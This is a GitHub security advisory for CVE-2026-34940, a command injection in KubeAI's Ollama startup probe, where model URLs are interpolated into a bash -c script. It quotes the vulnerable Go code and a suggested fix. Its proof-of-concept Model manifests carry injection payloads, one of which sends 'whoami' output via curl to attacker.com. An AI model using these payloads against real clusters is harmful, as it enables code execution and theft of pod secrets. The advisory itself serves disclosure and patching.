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KubeAI: OS Command Injection via Model URL in Ollama Engine startup probe allows arbitrary command execution in model pods

High severity GitHub Reviewed Published Mar 31, 2026 in kubeai-project/kubeai • Updated Apr 15, 2026

Package

gomod github.com/kubeai-project/kubeai (Go)

Affected versions

<= 0.23.1

Patched versions

0.23.2

Description

CHAMP: Description

Summary

The ollamaStartupProbeScript() function in internal/modelcontroller/engine_ollama.go constructs a shell command string using fmt.Sprintf with unsanitized model URL components (ref, modelParam). This shell command is executed via bash -c as a Kubernetes startup probe. An attacker who can create or update Model custom resources can inject arbitrary shell commands that execute inside model server pods.

Details

The parseModelURL() function in internal/modelcontroller/model_source.go uses a regex (^([a-z0-9]+):\/\/([^?]+)(\?.*)?$) to parse model URLs. The ref component (capture group 2) matches [^?]+, allowing any characters except ?, including shell metacharacters like ;, |, $(), and backticks.

The ?model= query parameter (modelParam) is also extracted without any sanitization.

Vulnerable code (permalink):

func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
    startupScript := ""
    if u.scheme == "pvc" {
        startupScript = fmt.Sprintf("/bin/ollama cp %s %s", u.modelParam, m.Name)
    } else {
        if u.pull {
            pullCmd := "/bin/ollama pull"
            if u.insecure {
                pullCmd += " --insecure"
            }
            startupScript = fmt.Sprintf("%s %s && /bin/ollama cp %s %s", pullCmd, u.ref, u.ref, m.Name)
        } else {
            startupScript = fmt.Sprintf("/bin/ollama cp %s %s", u.ref, m.Name)
        }
    }
    // ...
    return startupScript
}

This script is then used as a bash -c startup probe (permalink):

StartupProbe: &corev1.Probe{
    ProbeHandler: corev1.ProbeHandler{
        Exec: &corev1.ExecAction{
            Command: []string{"bash", "-c", startupProbeScript},
        },
    },
},

Compare with the vLLM engine which safely passes the model ref as a command-line argument (not through a shell):

// engine_vllm.go - safe: args are passed directly, no shell involved
args := []string{
    "--model=" + vllmModelFlag,
    "--served-model-name=" + m.Name,
}

URL parsing (permalink):

var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)

func parseModelURL(urlStr string) (modelURL, error) {
    // ref = matches[2] -> [^?]+ allows shell metacharacters
    // modelParam from ?model= query param -> completely unsanitized
}

There is no admission webhook or CRD validation that sanitizes the URL field.

PoC

Attack vector 1: Command injection via ollama:// URL ref

apiVersion: kubeai.org/v1
kind: Model
metadata:
  name: poc-cmd-inject
spec:
  features: ["TextGeneration"]
  engine: OLlama
  url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
  minReplicas: 1
  maxReplicas: 1

The startup probe script becomes:

/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && /bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject && /bin/ollama run poc-cmd-inject hi

The injected id>/tmp/pwned command executes inside the pod.

Attack vector 2: Command injection via ?model= query parameter

apiVersion: kubeai.org/v1
kind: Model
metadata:
  name: poc-cmd-inject-pvc
spec:
  features: ["TextGeneration"]
  engine: OLlama
  url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
  minReplicas: 1
  maxReplicas: 1

The startup probe script becomes:

/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc && /bin/ollama run poc-cmd-inject-pvc hi

Impact

  1. Arbitrary command execution inside model server pods by any user with Model CRD create/update RBAC
  2. In multi-tenant Kubernetes clusters, a tenant with Model creation permissions (but not cluster-admin) can execute arbitrary commands in model pods, potentially accessing secrets, service account tokens, or lateral-moving to other cluster resources
  3. Data exfiltration from the model pod's environment (environment variables, mounted secrets, service account tokens)
  4. Compromise of the model serving infrastructure

Suggested Fix

Replace the bash -c startup probe with either:

  1. An exec probe that passes arguments as separate array elements (like the vLLM engine does), or
  2. Validate/sanitize u.ref and u.modelParam to only allow alphanumeric characters, slashes, colons, dots, and hyphens before interpolating into the shell command

Example fix:

// Option 1: Use separate args instead of bash -c
Command: []string{"/bin/ollama", "pull", u.ref}

// Option 2: Sanitize inputs
var safeModelRef = regexp.MustCompile(`^[a-zA-Z0-9._:/-]+$`)
if !safeModelRef.MatchString(u.ref) {
    return "", fmt.Errorf("invalid model reference: %s", u.ref)
}

References

@ffais ffais published to kubeai-project/kubeai Mar 31, 2026
Published to the GitHub Advisory Database Apr 1, 2026
Reviewed Apr 1, 2026
Published by the National Vulnerability Database Apr 6, 2026
Last updated Apr 15, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(11th percentile)

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2026-34940

GHSA ID

GHSA-324q-cwx9-7crr

Source code

Credits

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